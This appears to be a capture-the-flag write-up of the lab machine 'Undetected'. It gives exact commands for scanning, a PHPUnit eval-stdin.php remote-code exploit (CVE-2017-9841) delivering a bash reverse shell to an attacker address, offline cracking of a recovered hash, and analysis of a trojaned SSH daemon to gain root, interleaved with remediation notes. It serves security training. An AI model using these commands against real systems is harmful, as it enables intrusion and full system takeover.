Undetected
Summary
I scanned the target and discovered two virtual hosts serving a jewellery store application (djewelry.htb and store.djewelry.htb). Directory brute-forcing of the store subdomain surfaced an exposed /vendor path whose Apache directory listing revealed an unpatched PHPUnit installation; a single unauthenticated POST to eval-stdin.php (CVE-2017-9841) delivered a reverse shell as the www-data web service account. From that foothold my found a hidden, encoded backup file at /var/backups/info readable by the web service account, decoded it to recover a Unix password hash for the local user steven, and cracked the hash offline with rockyou.txt to pivot to an SSH session as steven (user flag captured).
The privilege escalation route was a pre-planted supply-chain backdoor: the system SSH daemon binary had been silently replaced with a trojaned version containing an XOR-obfuscated hardcoded magic password. Reverse-engineering the binary in Ghidra exposed that secondary authentication branch, allowing direct root login over SSH and full system compromise (root flag captured).
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p- --min-rate 5000 $TARGETecho "$TARGET djewelry.htb store.djewelry.htb" | sudo tee -a /etc/hostsffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.djewelry.htb' -fc 301,302Exact commands 2
gobuster dir -u http://store.djewelry.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 40curl -s -o /dev/null -w '%{http_code}' http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.phpFixRemove development Composer packages from the production web root and disable directory listingCritical
Exact commands 4
nc -lvnp 4444echo -n "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0curl -s -X POST 'http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' --data '<?php system(base64_decode("PAYLOAD")); ?>'id; pwd; find / -name user.txt 2>/dev/nullExact commands 3
find / -user www-data 2>/dev/null | grep -v '/proc\|/sys\|/run'cat /var/backups/info | base64 -d | xxd -r -pcat /var/backups/info | base64 -d | xxd -r -p > /tmp/steven_hash.txtFixRemove credential material from web-service-account-readable locations and enforce strict file permissionsHigh
Exact commands 2
hashcat -m 1800 steven_hash.txt /usr/share/wordlists/rockyou.txt --forcesshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null steven1@$TARGET 'id; cat ~/user.txt'Exact commands 4
sshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no steven1@$TARGET:/usr/sbin/sshd ./sshd_trojansha256sum sshd_trojanstrings sshd_trojan | grep -E '.{20,}' | head -60objdump -d sshd_trojan | grep -B2 -A40 'xor\|strcmp\|strncmp' | head -120FixReplace the trojaned SSH daemon, rotate all credentials, and deploy file integrity monitoringCritical
Exact commands 1
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 root@$TARGET 'id; cat /root/root.txt'Exposed services
| 22/tcp | ssh OpenSSH 8.2 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |